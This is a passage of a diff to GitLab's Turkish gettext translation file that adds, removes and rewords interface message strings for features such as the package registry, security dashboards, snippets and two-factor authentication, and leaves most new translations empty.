-msgid "PackageRegistry|Published to the repository at %{timestamp}"
-msgstr ""
-
msgid "PackageRegistry|PyPi"
msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
-msgid "PackageRegistry|Registry Setup"
-msgstr ""
-
msgid "PackageRegistry|Remove package"
msgstr ""
@@ -17168,13 +17721,19 @@ msgstr ""
msgid "PackageRegistry|You may also need to setup authentication using an auth token. %{linkStart}See the documentation%{linkEnd} to find out more."
msgstr ""
-msgid "PackageRegistry|npm"
+msgid "PackageRegistry|composer.json registry include"
+msgstr ""
+
+msgid "PackageRegistry|composer.json require package include"
+msgstr ""
+
+msgid "PackageRegistry|npm command"
msgstr ""
msgid "PackageRegistry|published by %{author}"
msgstr ""
-msgid "PackageRegistry|yarn"
+msgid "PackageRegistry|yarn command"
msgstr ""
msgid "PackageType|Composer"
@@ -17318,7 +17877,7 @@ msgstr "Åžifre doÄŸrulama"
msgid "Password successfully changed"
msgstr "Şifre başarıyla değiştirildi"
-msgid "Password was successfully updated. Please login with it"
+msgid "Password was successfully updated. Please sign in again."
msgstr ""
msgid "Passwords should be unique and not used for any other sites or services."
@@ -17822,6 +18381,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your administrator with any questions."
+msgstr ""
+
msgid "Please contact your administrator."
msgstr ""
@@ -17975,15 +18537,15 @@ msgstr "Sabit (maks. 1280px) ve değişken (%{percentage}) uygulama düzeni aras
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr "Bir projenin genel bakış sayfasında hangi içeriği görmek istediğinizi seçin."
+msgid "Preferences|Choose what content you want to see on your homepage."
+msgstr ""
+
msgid "Preferences|Customize integrations with third party services."
msgstr "Üçüncü taraf hizmetleriyle entegrasyonları özelleştirin."
msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr "Uygulama başlığının ve gezinme kenar çubuğunun görünümünü özelleştirin."
-msgid "Preferences|Default dashboard"
-msgstr "Varsayılan gösterge panosu"
-
msgid "Preferences|Display time in 24-hour format"
msgstr "Saati 24 saatlik biçimde görüntüle"
@@ -17993,6 +18555,9 @@ msgstr "Kod görünümlerinde tümleşik kod zekasını etkinleştir"
msgid "Preferences|For example: 30 mins ago."
msgstr "Örneğin: 30 dakika önce."
+msgid "Preferences|Homepage content"
+msgstr ""
+
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
@@ -18284,15 +18849,9 @@ msgstr "Mevcut durum"
msgid "Profiles|Default notification email"
msgstr "Varsayılan bildirim e-postası"
-msgid "Profiles|Delete Account"
-msgstr "Hesabı Sil"
-
msgid "Profiles|Delete account"
msgstr "Hesabı sil"
-msgid "Profiles|Delete your account?"
-msgstr "Hesabınız silinsin mi?"
-
msgid "Profiles|Deleting an account has the following effects:"
msgstr "Bir hesabı silmek aşağıdaki etkilere sahiptir:"
@@ -18683,6 +19242,9 @@ msgstr "Proje yüklemeleri"
msgid "Project visibility level will be changed to match namespace rules when transferring to a group."
msgstr ""
+msgid "Project was not found or you do not have permission to add this project to Security Dashboards."
+msgstr ""
+
msgid "Project: %{name}"
msgstr "Proje: %{name}"
@@ -18707,6 +19269,9 @@ msgstr "Hiç kimse"
msgid "ProjectFileTree|Name"
msgstr "Ä°sim"
+msgid "ProjectFileTree|Show more"
+msgstr ""
+
msgid "ProjectLastActivity|Never"
msgstr "Asla"
@@ -19298,7 +19863,7 @@ msgstr ""
msgid "PrometheusAlerts|Operator"
msgstr ""
-msgid "PrometheusAlerts|Runbook"
+msgid "PrometheusAlerts|Runbook URL (optional)"
msgstr ""
msgid "PrometheusAlerts|Select query"
@@ -19307,10 +19872,19 @@ msgstr ""
msgid "PrometheusAlerts|Threshold"
msgstr ""
-msgid "PrometheusService|%{exporters} with %{metrics} were found"
+msgid "PrometheusAlerts|exceeded"
+msgstr ""
+
+msgid "PrometheusAlerts|https://gitlab.com/gitlab-com/runbooks"
+msgstr ""
+
+msgid "PrometheusAlerts|is equal to"
msgstr ""
-msgid "PrometheusService|<p class=\"text-tertiary\">No <a href=\"%{docsUrl}\">common metrics</a> were found</p>"
+msgid "PrometheusAlerts|is less than"
+msgstr ""
+
+msgid "PrometheusService|%{exporters} with %{metrics} were found"
msgstr ""
msgid "PrometheusService|Active"
@@ -19370,6 +19944,9 @@ msgstr "Daha fazla bilgi"
msgid "PrometheusService|New metric"
msgstr ""
+msgid "PrometheusService|No %{docsUrlStart}common metrics%{docsUrlEnd} were found"
+msgstr ""
+
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
@@ -19424,6 +20001,9 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotion is not supported."
+msgstr ""
+
msgid "Promotions|Burndown Charts are visual representations of the progress of completing a milestone. At a glance, you see the current state for the completion a given milestone. Without them, you would have to organize the data from the milestone and plot it yourself to have the same sense of progress."
msgstr ""
@@ -19505,6 +20085,9 @@ msgstr ""
msgid "Prompt users to upload SSH keys"
msgstr ""
+msgid "Protect"
+msgstr ""
+
msgid "Protect variable"
msgstr ""
@@ -19835,9 +20418,6 @@ msgstr ""
msgid "Recent searches"
msgstr "Son aramalar"
-msgid "Recipe"
-msgstr ""
-
msgid "Reconfigure"
msgstr ""
@@ -19933,6 +20513,9 @@ msgstr ""
msgid "Registration|Your profile"
msgstr ""
+msgid "Registry setup"
+msgstr ""
+
msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
msgstr ""
@@ -20025,6 +20608,9 @@ msgstr ""
msgid "Releases|New Release"
msgstr ""
+msgid "Release|Something went wrong while creating a new release"
+msgstr ""
+
msgid "Release|Something went wrong while getting the release details"
msgstr ""
@@ -20067,6 +20653,9 @@ msgstr "Tümünü veya özel vekil(ler)i kaldır"
msgid "Remove all or specific label(s)"
msgstr "Tüm veya belirli etiketleri kaldır"
+msgid "Remove approver"
+msgstr ""
+
msgid "Remove approvers"
msgstr ""
@@ -20136,9 +20725,6 @@ msgstr ""
msgid "Remove priority"
msgstr ""
-msgid "Remove project"
-msgstr "Projeyi kaldır"
-
msgid "Remove secondary node"
msgstr ""
@@ -20172,9 +20758,6 @@ msgstr ""
msgid "Removed %{type} with id %{id}"
msgstr ""
-msgid "Removed Projects"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
@@ -20187,12 +20770,6 @@ msgstr ""
msgid "Removed parent epic %{epic_ref}."
msgstr ""
-msgid "Removed projects"
-msgstr ""
-
-msgid "Removed projects cannot be restored!"
-msgstr "Kaldırılan projeler geri yüklenemez!"
-
msgid "Removed spent time."
msgstr ""
@@ -20241,15 +20818,9 @@ msgstr "Bitiş tarihini kaldırır."
msgid "Removes time estimate."
msgstr ""
-msgid "Removing a project places it into a read-only state until %{date}, at which point the project will be permanently removed. Are you ABSOLUTELY sure?"
-msgstr ""
-
msgid "Removing license…"
msgstr ""
-msgid "Removing the project will delete its repository and all related resources including issues, merge requests etc."
-msgstr "Projeyi kaldırmak; depolarını ve sorunları, birleştirme isteklerini vb. içeren tüm ilgili kaynakları siler."
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -20432,9 +21003,6 @@ msgstr "Depo GrafiÄŸi"
msgid "Repository Settings"
msgstr "Depo Ayarları"
-msgid "Repository URL"
-msgstr "Depo URL'si"
-
msgid "Repository check"
msgstr ""
@@ -20622,9 +21190,15 @@ msgstr ""
msgid "Resolve all threads in new issue"
msgstr ""
+msgid "Resolve conflicts"
+msgstr ""
+
msgid "Resolve conflicts on source branch"
msgstr ""
+msgid "Resolve these conflicts or ask someone with write access to this repository to merge it locally."
+msgstr ""
+
msgid "Resolve thread"
msgstr ""
@@ -20804,6 +21378,9 @@ msgstr ""
msgid "Rook"
msgstr ""
+msgid "Rule name is already taken."
+msgstr ""
+
msgid "Rules that define what git pushes are accepted for a project in this group. All newly created projects in this group will use these settings."
msgstr ""
@@ -20816,6 +21393,9 @@ msgstr ""
msgid "Run housekeeping"
msgstr "Temizlik hizmetini çalıştır"
+msgid "Run manual or delayed jobs"
+msgstr ""
+
msgid "Run tests against your code live using the Web Terminal"
msgstr ""
@@ -20942,6 +21522,9 @@ msgstr ""
msgid "Save Changes"
msgstr "DeÄŸiÅŸiklikleri Kaydet"
+msgid "Save Push Rules"
+msgstr ""
+
msgid "Save anyway"
msgstr ""
@@ -20972,6 +21555,9 @@ msgstr "Åžablonu kaydet"
msgid "Save variables"
msgstr "DeÄŸiÅŸkenleri kaydet"
+msgid "Saved scan settings and target site settings which are reusable."
+msgstr ""
+
msgid "Saving"
msgstr ""
@@ -21020,6 +21606,9 @@ msgstr ""
msgid "Scopes can't be blank"
msgstr ""
+msgid "Score"
+msgstr ""
+
msgid "Scroll down"
msgstr "Aşağı kaydır"
@@ -21062,6 +21651,9 @@ msgstr "Dalları ara"
msgid "Search branches and tags"
msgstr "Dalları ve etiketleri ara"
+msgid "Search branches, tags, and commits"
+msgstr ""
+
msgid "Search by Git revision"
msgstr ""
@@ -21259,6 +21851,9 @@ msgstr ""
msgid "Secondary"
msgstr ""
+msgid "Seconds"
+msgstr ""
+
msgid "Secret"
msgstr ""
@@ -21286,13 +21881,37 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "SecurityApprovals|License Scanning must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|One or more of the security scanners must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires approval for vulnerabilties of Critical, High, or Unknown severity. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires license policy rules for licenses of Allowed, or Denied. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
+msgid "SecurityConfiguration|Available for on-demand DAST"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. More advanced configuration options exist, which you can add to the configuration file this tool generates. It's important to note that if you make any configurations, they will be saved as overrides and will be %{strongStart}excluded from automatic updates%{strongEnd}."
+msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "SecurityConfiguration|Create Merge Request"
+msgstr ""
+
+msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Enable"
msgstr ""
msgid "SecurityConfiguration|Enable via Merge Request"
@@ -21313,6 +21932,9 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|SAST Configuration"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -21340,7 +21962,7 @@ msgstr ""
msgid "SecurityReports|Add a project to your dashboard"
msgstr ""
-msgid "SecurityReports|Add or remove projects from your dashboard"
+msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
msgstr ""
msgid "SecurityReports|Add projects"
@@ -21376,13 +21998,10 @@ msgstr ""
msgid "SecurityReports|Download Report"
msgstr ""
-msgid "SecurityReports|Each vulnerability now has a unique page that can be directly linked to, shared, referenced, and tracked as the single source of truth. Vulnerability occurrences also persist across scanner runs, which improves tracking and visibility and reduces duplicates between scans."
-msgstr ""
-
-msgid "SecurityReports|Edit dashboard"
+msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
msgstr ""
-msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
+msgid "SecurityReports|Ensure that %{trackingStart}issue tracking%{trackingEnd} is enabled for this project and you have %{permissionsStart}permission to create new issues%{permissionsEnd}."
msgstr ""
msgid "SecurityReports|Error fetching the vulnerability counts. Please check your network connection and try again."
@@ -21397,19 +22016,13 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
-msgid "SecurityReports|Group Security Dashboard"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
-msgid "SecurityReports|Introducing standalone vulnerabilities"
-msgstr ""
-
msgid "SecurityReports|Issue Created"
msgstr ""
-msgid "SecurityReports|Learn more"
+msgid "SecurityReports|Issues created from a vulnerability cannot be removed."
msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
@@ -21421,6 +22034,9 @@ msgstr ""
msgid "SecurityReports|Monitor vulnerabilities in your code"
msgstr ""
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
msgid "SecurityReports|More info"
msgstr ""
@@ -21439,15 +22055,15 @@ msgstr ""
msgid "SecurityReports|Project"
msgstr "Proje"
+msgid "SecurityReports|Project was not found or you do not have permission to add this project to Security Dashboards."
+msgstr ""
+
msgid "SecurityReports|Projects added"
msgstr "Projeler eklendi"
msgid "SecurityReports|Remove project from dashboard"
msgstr ""
-msgid "SecurityReports|Return to dashboard"
-msgstr ""
-
msgid "SecurityReports|Scan details"
msgstr ""
@@ -21517,7 +22133,7 @@ msgstr ""
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
-msgid "SecurityReports|Unable to add %{invalidProjectsMessage}"
+msgid "SecurityReports|Unable to add %{invalidProjectsMessage}: %{errorMessage}"
msgstr ""
msgid "SecurityReports|Unable to add %{invalidProjects}"
@@ -21526,6 +22142,9 @@ msgstr ""
msgid "SecurityReports|Undo dismiss"
msgstr ""
+msgid "SecurityReports|Vulnerability Report"
+msgstr ""
+
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
@@ -21556,9 +22175,6 @@ msgstr ""
msgid "See what's new at GitLab"
msgstr "GitLab'daki yenilikleri görün"
-msgid "See your pipeline in action"
-msgstr ""
-
msgid "Select"
msgstr ""
@@ -21682,6 +22298,9 @@ msgstr ""
msgid "Select shards to replicate"
msgstr ""
+msgid "Select source"
+msgstr ""
+
msgid "Select source branch"
msgstr ""
@@ -21712,6 +22331,9 @@ msgstr ""
msgid "Select timezone"
msgstr ""
+msgid "Select type"
+msgstr ""
+
msgid "Select user"
msgstr ""
@@ -21901,6 +22523,12 @@ msgstr "Servis Masası"
msgid "Service Desk is enabled but not yet active"
msgstr ""
+msgid "Service Desk is not enabled"
+msgstr ""
+
+msgid "Service Desk is not supported"
+msgstr ""
+
msgid "Service Templates"
msgstr "Hizmet Şablonları"
@@ -21913,6 +22541,12 @@ msgstr "Oturum süresi (dakika)"
msgid "Set %{epic_ref} as the parent epic."
msgstr ""
+msgid "Set .gitlab-ci.yml to enable or configure SAST"
+msgstr ""
+
+msgid "Set .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
+msgstr ""
+
msgid "Set a default template for issue descriptions."
msgstr "Sorun açıklamaları için varsayılan bir şablon belirleyin."
@@ -22229,12 +22863,6 @@ msgstr "%{limit} / %{total_count} sorun gösteriliyor. "
msgid "Showing %{pageSize} of %{total} issues"
msgstr "%{pageSize} / %{total} sorun gösteriliyor"
-msgid "Showing Latest Version"
-msgstr "Son Sürüm Gösteriliyor"
-
-msgid "Showing Version #%{versionNumber}"
-msgstr "#%{versionNumber} Sürümü Gösteriliyor"
-
msgid "Showing all issues"
msgstr "Tüm sorunlar gösteriliyor"
@@ -22244,6 +22872,12 @@ msgstr ""
msgid "Showing last %{size} of log -"
msgstr ""
+msgid "Showing latest version"
+msgstr ""
+
+msgid "Showing version #%{versionNumber}"
+msgstr ""
+
msgid "Side-by-side"
msgstr ""
@@ -22337,6 +22971,9 @@ msgstr ""
msgid "Similar issues"
msgstr "Benzer sorunlar"
+msgid "Simulate a pipeline created for the default branch"
+msgstr ""
+
msgid "Single or combined queries"
msgstr ""
@@ -22379,7 +23016,7 @@ msgstr ""
msgid "SlackIntegration|Select events below to enable notifications. The %{strong_open}Slack channel names%{strong_close} and %{strong_open}Slack username%{strong_close} fields are optional."
msgstr ""
-msgid "SlackIntegration|This service send notifications about projects' events to Slack channels. To set up this service:"
+msgid "SlackIntegration|This service sends notifications about project events to Slack channels. To set up this service:"
msgstr ""
msgid "SlackService|2. Paste the %{strong_open}Token%{strong_close} into the field below"
@@ -22430,12 +23067,21 @@ msgstr ""
msgid "SnippetsEmptyState|There are no snippets to show."
msgstr "Gösterilecek parçacık yok."
+msgid "Snippets|Add another file %{num}/%{total}"
+msgstr ""
+
+msgid "Snippets|Delete file"
+msgstr ""
+
msgid "Snippets|Description (optional)"
msgstr ""
msgid "Snippets|File"
msgstr ""
+msgid "Snippets|Files"
+msgstr ""
+
msgid "Snippets|Give your file a name to add code highlighting, e.g. example.rb for Ruby"
msgstr ""
@@ -22493,6 +23139,9 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong when reordering designs. Please try again"
+msgstr ""
+
msgid "Something went wrong when toggling the button"
msgstr ""
@@ -22622,10 +23271,10 @@ msgstr ""
msgid "Something went wrong, unable to add projects to dashboard"
msgstr ""
-msgid "Something went wrong, unable to get projects"
+msgid "Something went wrong, unable to delete project"
msgstr ""
-msgid "Something went wrong, unable to remove project"
+msgid "Something went wrong, unable to get projects"
msgstr ""
msgid "Something went wrong, unable to search projects"
@@ -23522,6 +24171,9 @@ msgstr "GitLab Next'e geçin"
msgid "Switch to the source to copy the file contents"
msgstr "Dosya içeriğini kopyalamak için kaynağa geçiş yapın"
+msgid "Symbolic link"
+msgstr ""
+
msgid "Sync information"
msgstr ""
@@ -23570,6 +24222,9 @@ msgstr ""
msgid "Tag name"
msgstr ""
+msgid "Tag name is required"
+msgstr ""
+
msgid "Tag this commit."
msgstr ""
@@ -23582,6 +24237,9 @@ msgstr ""
msgid "Tags"
msgstr "Etiketler"
+msgid "Tags are deleted until the timeout is reached. Any remaining tags are included the next time the policy runs. To remove the time limit, set it to 0."
+msgstr ""
+
msgid "Tags feed"
msgstr ""
@@ -23763,6 +24421,12 @@ msgstr ""
msgid "Test"
msgstr ""
+msgid "Test Cases"
+msgstr ""
+
+msgid "Test cases are not available for this project"
+msgstr ""
+
msgid "Test coverage parsing"
msgstr ""
@@ -23831,9 +24495,6 @@ msgstr ""
msgid "TestReports|There was an error fetching the summary."
msgstr ""
-msgid "TestReports|There was an error fetching the test reports."
-msgstr ""
-
msgid "TestReports|There was an error fetching the test suite."
msgstr ""
@@ -23870,16 +24531,13 @@ msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
msgstr ""
-msgid "The %{true_up_link_start}true-up model%{link_end} has a retroactive charge for these users at the next renewal. If you want to update your license sooner to prevent this, %{support_link_start}please contact our Support team%{link_end}."
-msgstr ""
-
msgid "The %{type} contains the following error:"
msgid_plural "The %{type} contains the following errors:"
msgstr[0] ""
msgstr[1] ""
-msgid "The Advanced Global Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
-msgstr "GitLab'daki Gelişmiş Genel arama, size zaman kazandıran güçlü bir arama hizmetidir. Yinelenen kod oluşturmak ve zaman kaybetmek yerine, artık kendi projenize yardımcı olabilecek diğer ekiplerin içinde kod arayabilirsiniz."
+msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
+msgstr ""
msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
msgstr ""
@@ -23905,6 +24563,9 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
+msgid "The Web IDE offers advanced syntax highlighting capabilities and more."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
@@ -23935,6 +24596,9 @@ msgstr ""
msgid "The commit does not exist"
msgstr ""
+msgid "The comparison view may be inaccurate due to merge conflicts."
+msgstr ""
+
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -23989,6 +24653,12 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The following %{user} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "The following %{user} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "The following items will NOT be exported:"
msgstr ""
@@ -24090,13 +24760,13 @@ msgstr ""
msgid "The number of changes to be fetched from GitLab when cloning a repository. This can speed up Pipelines execution. Keep empty or set to 0 to disable shallow clone by default and make GitLab CI fetch all branches and tags each time."
msgstr ""
-msgid "The number of merge requests merged to the master branch by month."
+msgid "The number of merge requests merged by month."
msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
-msgid "The one place for your designs"
+msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
msgid "The passphrase required to decrypt the private key. This is optional and the value is encrypted at rest."
@@ -24135,6 +24805,9 @@ msgstr ""
msgid "The project can be accessed without any authentication."
msgstr ""
+msgid "The project has already been added to your dashboard."
+msgstr ""
+
msgid "The project is accessible only by members of the project. Access must be granted explicitly to each user."
msgstr ""
@@ -24252,6 +24925,9 @@ msgstr ""
msgid "There are currently no events."
msgstr ""
+msgid "There are merge conflicts"
+msgstr ""
+
msgid "There are no %{replicableTypeName} to show"
msgstr ""
@@ -24327,12 +25003,15 @@ msgstr ""
msgid "There is already a repository with that name on disk"
msgstr ""
-msgid "There is no data available."
+msgid "There is no chart data available."
msgstr ""
msgid "There is no data available. Please change your selection."
msgstr ""
+msgid "There is no table data available."
+msgstr ""
+
msgid "There is too much data to calculate. Please change your selection."
msgstr ""
@@ -24345,6 +25024,9 @@ msgstr ""
msgid "There was a problem fetching labels."
msgstr ""
+msgid "There was a problem fetching milestones."
+msgstr ""
+
msgid "There was a problem fetching project branches."
msgstr ""
@@ -24495,19 +25177,19 @@ msgstr ""
msgid "There was an error when unsubscribing from this label."
msgstr ""
-msgid "There was an error while fetching value stream analytics data."
+msgid "There was an error while fetching the chart data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration data."
+msgid "There was an error while fetching the table data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration median data."
+msgid "There was an error while fetching value stream analytics %{requestTypeName} data."
msgstr ""
-msgid "There was an error while fetching value stream analytics recent activity data."
+msgid "There was an error while fetching value stream analytics data."
msgstr ""
-msgid "There was an error while fetching value stream analytics time summary data."
+msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
@@ -24531,6 +25213,9 @@ msgstr "Üçüncü taraf teklifleri"
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuableType} is confidential"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -24561,7 +25246,7 @@ msgstr ""
msgid "This action can lead to data loss. To prevent accidental actions we ask you to confirm your intention."
msgstr "Bu işlem veri kaybına yol açabilir. Yanlışlıkla yapılacak işlemleri önlemek için niyetinizi onaylamanızı istiyoruz."
-msgid "This action cannot be undone. You will lose the project's respository and all conent: issues, merge requests, etc."
+msgid "This action cannot be undone. You will lose the project's repository and all content: issues, merge requests, etc."
msgstr ""
msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}immediately%{strongClose}, including its repositories and all content: issues, merge requests, etc."
@@ -24735,9 +25420,6 @@ msgstr ""
msgid "This is your current session"
msgstr "Bu sizin mevcut oturumunuz"
-msgid "This issue is confidential"
-msgstr "Bu sorun gizlidir"
-
msgid "This issue is currently blocked by the following issues: %{issues}."
msgstr ""
@@ -24900,15 +25582,15 @@ msgstr ""
msgid "This project does not have a wiki homepage yet"
msgstr ""
-msgid "This project does not have billing enabled. To create a cluster, <a href=%{linkToBilling} target=\"_blank\" rel=\"noopener noreferrer\">enable billing <i class=\"fa fa-external-link\" aria-hidden=\"true\"></i></a> and try again."
-msgstr ""
-
msgid "This project has no active access tokens."
msgstr ""
msgid "This project is archived and cannot be commented on."
msgstr ""
+msgid "This project manages its dependencies using %{strong_start}%{manager_name}%{strong_end}"
+msgstr ""
+
msgid "This project path either does not exist or you do not have access."
msgstr ""
@@ -24969,6 +25651,9 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
+msgid "This will clear repository check states for ALL projects in the database. This cannot be undone. Are you sure?"
+msgstr ""
+
msgid "This will help us personalize your onboarding experience."
msgstr ""
@@ -25342,9 +26027,6 @@ msgstr ""
msgid "To define internal users, first enable new users set to external"
msgstr ""
-msgid "To enable it and see User Cohorts, visit %{application_settings_link_start}application settings%{application_settings_link_end}."
-msgstr ""
-
msgid "To further protect your account, consider configuring a %{mfa_link_start}two-factor authentication%{mfa_link_end} method."
msgstr ""
@@ -25429,9 +26111,15 @@ msgstr ""
msgid "To unsubscribe from this issue, please paste the following link into your browser:"
msgstr ""
+msgid "To update Snippets with multiple files, you must use the `files` parameter"
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
msgstr ""
+msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
+msgstr ""
+
msgid "To view the roadmap, add a start or due date to one of your epics in this group or its subgroups. In the months view, only epics in the past month, current month, and next 5 months are shown."
msgstr ""
@@ -25453,9 +26141,6 @@ msgstr "Yapılacaklar öğesi başarıyla bitti olarak işaretlendi."
msgid "Today"
msgstr "Bugün"
-msgid "Toggle Kubernetes cluster"
-msgstr ""
-
msgid "Toggle Markdown preview"
msgstr "Biçimlendirme önizlemesini aç/kapat"
@@ -25516,6 +26201,9 @@ msgstr ""
msgid "Toggles :%{name}: emoji award."
msgstr ""
+msgid "Token valid until revoked"
+msgstr ""
+
msgid "Tomorrow"
msgstr "Yarın"
@@ -25660,6 +26348,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger manual job"
+msgstr ""
+
msgid "Trigger pipelines for mirror updates"
msgstr ""
@@ -25729,9 +26420,18 @@ msgstr "Kapat"
msgid "Turn On"
msgstr ""
+msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
+msgstr ""
+
msgid "Turn on Service Desk"
msgstr "Servis Masasını Aç"
+msgid "Turn on usage ping"
+msgstr ""
+
+msgid "Turn on usage ping to review instance-level analytics."
+msgstr ""
+
msgid "Twitter"
msgstr "Twitter"
@@ -25747,12 +26447,24 @@ msgstr "İki Aşamalı Kimlik Doğrulama"
msgid "Two-factor Authentication Recovery codes"
msgstr "İki Aşamalı Kimlik Doğrulama Kurtarma Kodları"
-msgid "Two-factor Authentication has been disabled for this user"
-msgstr ""
-
msgid "Two-factor authentication"
msgstr "İki adımlı kimlik doğrulama"
+msgid "Two-factor authentication disabled"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for this user"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for your GitLab account."
+msgstr ""
+
+msgid "Two-factor authentication has been disabled successfully!"
+msgstr ""
+
+msgid "Two-factor authentication is not enabled for this user"
+msgstr ""
+
msgid "Type"
msgstr "Tür"
@@ -25933,7 +26645,7 @@ msgstr "Kilidi aç"
msgid "Unlock the discussion"
msgstr "Tartışmanın kilidini aç"
-msgid "Unlock this %{issuableDisplayName}? <strong>Everyone</strong> will be able to comment."
+msgid "Unlock this %{issuableDisplayName}? %{strongStart}Everyone%{strongEnd} will be able to comment."
msgstr ""
msgid "Unlocked"
@@ -26023,6 +26735,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused, previous index '%{index_name}' will be deleted after %{time} automatically."
+msgstr ""
+
msgid "Unverified"
msgstr "Doğrulanmamış"
@@ -26104,9 +26819,6 @@ msgstr "Güncellendi:"
msgid "Updated %{updated_at} by %{updated_by}"
msgstr "%{updated_by} tarafından %{updated_at} zamanında güncellendi"
-msgid "Updated at"
-msgstr "Güncellendi:"
-
msgid "Updated to %{linkStart}chart v%{linkEnd}"
msgstr ""
@@ -26122,8 +26834,8 @@ msgstr ""
msgid "Upgrade your plan"
msgstr ""
-msgid "Upgrade your plan to activate Advanced Global Search."
-msgstr "Gelişmiş Genel aramayı etkinleştirmek için planınızı yükseltin."
+msgid "Upgrade your plan to activate Advanced Search."
+msgstr ""
msgid "Upgrade your plan to activate Audit Events."
msgstr ""
@@ -26197,7 +26909,7 @@ msgstr ""
msgid "Usage"
msgstr ""
-msgid "Usage ping is not enabled"
+msgid "Usage ping is off"
msgstr ""
msgid "Usage statistics"
@@ -26287,9 +26999,6 @@ msgstr ""
msgid "Use %{code_start}::%{code_end} to create a %{link_start}scoped label set%{link_end} (eg. %{code_start}priority::1%{code_end})"
msgstr ""
-msgid "Use %{native_redirect_uri} for local tests"
-msgstr ""
-
msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
msgstr ""
@@ -26341,9 +27050,6 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
-msgid "User Cohorts are only shown when the %{usage_ping_link_start}usage ping%{usage_ping_link_end} is enabled."
-msgstr ""
